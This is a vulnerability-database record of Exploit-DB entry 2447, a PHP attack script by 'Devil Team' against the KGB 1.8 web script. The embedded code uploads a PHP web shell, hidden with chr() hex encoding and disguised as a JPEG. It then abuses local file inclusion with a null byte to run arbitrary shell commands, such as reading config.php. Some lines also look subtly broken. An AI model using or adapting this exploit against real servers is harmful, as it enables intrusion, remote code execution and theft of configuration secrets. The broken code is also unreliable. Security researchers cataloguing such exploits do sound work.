DATABASE RESOURCES PRICING ABOUT US

{"id": "EDB-ID:2447", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "KGB 1.87 - Local File Inclusion / Remote Code Execution", "description": "", "published": "2006-09-28T00:00:00", "modified": "2006-09-28T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/2447", "reporter": "Kacper", "references": [], "cvelist": ["2006-5115"], "immutableFields": [], "lastseen": "2022-01-13T07:11:30", "viewCount": 17, "enchantments": {"dependencies": {}, "score": {"value": 6.6, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2006-5115"]}]}, "exploitation": null, "vulnersScore": 6.6}, "sourceHref": "https://www.exploit-db.com/download/2447", "sourceData": "#!/usr/bin/php -q -d short_open_tag=on\r\n\r\n<?\r\n$devilteam = \"\r\n\r\n::::::::: :::::::::: ::: ::: ::::::::::: ::: \r\n:+: :+: :+: :+: :+: :+: :+: \r\n+:+ +:+ +:+ +:+ +:+ +:+ +:+ \r\n+#+ +:+ +#++:++# +#+ +:+ +#+ +#+ \r\n+#+ +#+ +#+ +#+ +#+ +#+ +#+ \r\n#+# #+# #+# #+#+#+# #+# #+# \r\n######### ########## ### ########### ########## \r\n::::::::::: :::::::::: ::: :::: :::: \r\n :+: :+: :+: :+: +:+:+: :+:+:+ \r\n +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ \r\n +#+ +#++:++# +#++:++#++: +#+ +:+ +#+ \r\n +#+ +#+ +#+ +#+ +#+ +#+ \r\n #+# #+# #+# #+# #+# #+# \r\n ### ########## ### ### ### ### \r\n\t\r\n\t\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+\r\n- - - [DEVIL TEAM THE BEST POLISH TEAM] - -\r\n+\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+\r\n- KGB 1.8+ <= 1.8 full (Local Inclusion) Remote Code Execution Exploit\r\n+\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+\r\n- [Script name: KGB 1.8+ 1.8 full\r\n- [Script site: http://www.kgb.xs.com.pl/\r\n- [Download script: http://skrypty.webpc.pl/pobierz205.html\r\n\r\n+\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+\r\n- Find by: Kacper (a.k.a Rahim)\r\n+\r\n- DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n+\r\n- Contact: kacper1964@yahoo.pl\r\n- or\r\n- http://www.rahim.webd.pl/\r\n+\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+\r\n- Special Greetz: DragonHeart ;-)\r\n- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus\r\n- SkD, nukedclx, Ramzes\r\n-\r\n- Greetz for all users DEVIL TEAM IRC Channel !!\r\n!@ Przyjazni nie da sie zamienic na marne korzysci @!\r\n+\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+\r\n- Z Dedykacja dla osoby,\r\n- bez ktorej nie mogl bym zyc...\r\n- K.C:* J.M (a.k.a Magaja)\r\n+\r\n+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\";\r\n\r\n\r\n/*\r\nSzybka instrukcja jak exploit dziala :)\r\n\r\nskrypt KGB 1.8+ jest podatny na local inclusion, poniewaz, \r\nznajdujemy w pliku uploadzdj.php dzieki ktoremu mozemy uploadowac jakis obrazek, o wielkosci nie wiekszej niz 90kb,\r\n\r\nnatomiast w pliku kgcall.php znajdziemy kod:\r\n...\r\n<?\r\ninclude(\"kgengine/\".$engine);\r\n?>\r\n...\r\n\r\n\r\nCzyli po uploadowaniu nowego avatara/obrazka (ktorym jest nasz skrypt) o nazwie devilteam.jpg\r\n\r\nmozemy uzyc local include:\r\n\r\nhttp://www.kgbskrypt/folder_z_kgb/kgcall.php?engine=../zdjecia/devilteam.jpg?cmd=ls -la\r\nNo i mamy go! :)\r\n\r\nPozdrawiam Kacper\r\n\r\nJesli masz jakiekolwiek pytania to zapraszam na kanal IRC: 72.20.18.6:6667 #devilteam\r\n\r\n*/\r\n\r\n\r\n\r\nprint $devilteam;\r\nif ($argc<4) {\r\necho \"Usage: php \".$argv[0].\" host path cmd options\\r\\n\";\r\necho \"host: target server (ip/hostname)\\r\\n\";\r\necho \"path: path to KGB\\r\\n\";\r\necho \"cmd: a shell command\\r\\n\";\r\necho \"Options:\\r\\n\";\r\necho \" -p[port]: specify a port other than 80\\r\\n\";\r\necho \" -P[ip:port]: specify a proxy\\r\\n\";\r\necho \"Examples:\\r\\n\";\r\necho \"php \".$argv[0].\" localhost /lists/ cat ./config/config.php\\r\\n\";\r\necho \"php \".$argv[0].\" localhost /lists/ ls -la -p81\\r\\n\";\r\necho \"php \".$argv[0].\" localhost / ls -la -P1.1.1.1:80\\r\\n\";\r\ndie;\r\n}\r\nerror_reporting(0);\r\nini_set(\"max_execution_time\",0);\r\nini_set(\"default_socket_timeout\",5);\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=\" .\";}\r\n else\r\n {$result.=\" \".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=\" \".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=\" 0\".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\r\n }\r\n return $exa.\"\\r\\n\".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n #debug\r\n #echo \"\\r\\n\".$html;\r\n}\r\nfunction make_seed()\r\n{\r\n list($usec, $sec) = explode(' ', microtime());\r\n return (float) $sec + ((float) $usec * 100000);\r\n}\r\n\r\n$host=$argv[1];\r\n$path=$argv[2];\r\n$cmd=\"\";\r\n$port=80;\r\n$proxy=\"\";\r\n\r\nfor ($i=3; $i<=$argc-1; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp<>\"-p\") and ($temp<>\"-P\"))\r\n{$cmd.=\" \".$argv[$i];}\r\nif ($temp==\"-p\")\r\n{\r\n $port=str_replace(\"-p\",\"\",$argv[$i]);\r\n}\r\nif ($temp==\"-P\")\r\n{\r\n $proxy=str_replace(\"-P\",\"\",$argv[$i]);\r\n}\r\n}\r\n$cmd=urlencode($cmd);\r\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\r\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\r\n\r\n\r\n$shell=\r\nchr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70).\r\nchr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63).\r\nchr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28).\r\nchr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68).\r\nchr(0x6f).chr(0x22).chr(0x44).chr(0x45).chr(0x56).\r\nchr(0x49).chr(0x4c).chr(0x20).chr(0x54).chr(0x45).\r\nchr(0x41).chr(0x4d).chr(0x20).chr(0x68).chr(0x34).\r\nchr(0x63).chr(0x6b).chr(0x20).chr(0x79).chr(0x30).\r\nchr(0x75).chr(0x22).chr(0x3b).chr(0x69).chr(0x6e).\r\nchr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).\r\nchr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).\r\nchr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).\r\nchr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).\r\nchr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).\r\nchr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).\r\nchr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).\r\nchr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x24).\r\nchr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).\r\nchr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).\r\nchr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69).\r\nchr(0x65).chr(0x3b).chr(0x3f).chr(0x3e);\r\nsrand(make_seed());\r\n$evil=\"devilteam.jpg\";\r\n$data='\r\n -----------------------------ZGV2aWx0ZWFt--\r\n Content-Disposition: form-data; name=\"plik\"; filename=\".$evil.\"\r\n\tContent-Type: image/jpeg\\r\\n\\r\\n\";\r\n '.$shell.'\r\n -----------------------------ZGV2aWx0ZWFt--\r\n Content-Disposition: form-data; name=\"\";\r\n \r\n Wyslij zdjecie\r\n -----------------------------ZGV2aWx0ZWFt--\r\n ';\r\n $packet =\"POST \".$p.\"kgcall.php?engine=uploadzdj.php HTTP/1.1\\r\\n\";\r\n $packet.=\"User-Agent: Googlebot/2.1\\r\\n\";\r\n $packet.=\"Host: \".$host.\"\\r\\n\";\r\n $packet.=\"Accept: text/plain\\r\\n\";\r\n $packet.=\"Referer: http://\".$host.$path.\"kgcall.php?engine=uploadzdj.php\\r\\n\";\r\n $packet.=\"Content-Type: multipart/form-data; boundary=-----------------------------ZGV2aWx0ZWFt--\\r\\n\";\r\n $packet.=\"Content-Length: \".strlen($data).\"\\r\\n\";\r\n $packet.=$data;\r\n\t$packet.=\"Connection: Close\\r\\n\";\r\n show($packet);\r\n sendpacketii($packet);\r\n\t\r\n$packet =\"GET \".$p.\"kgcall.php?engine=../zdjecia/devilteam.jpg&cmd=\".$cmd.\"%00\" HTTP/1.0\\r\\n\";\r\n$packet.=\"User-Agent: Googlebot/2.1\\r\\n\";\r\n$packet.=\"Host: \".$host.\"\\r\\n\";\r\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\r\nsendpacketii($packet);\r\nif (strstr($html,\"56789\"))\r\n{\r\n $temp=explode(\"56789\",$html);\r\n echo $temp[1];\r\n echo \"\\r\\nExploit work :)\\r\\n\";\r\n echo \"\\r\\nDEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\\r\\n\";\r\n echo \"\\r\\nWe are The best Polish Hackers :)\\r\\n\";\r\n die;\r\n}\r\n}\r\n?>\r\n\r\n# milw0rm.com [2006-09-28]", "osvdbidlist": ["29281"], "exploitType": "webapps", "verified": true, "_state": {"dependencies": 1645243983}}

{}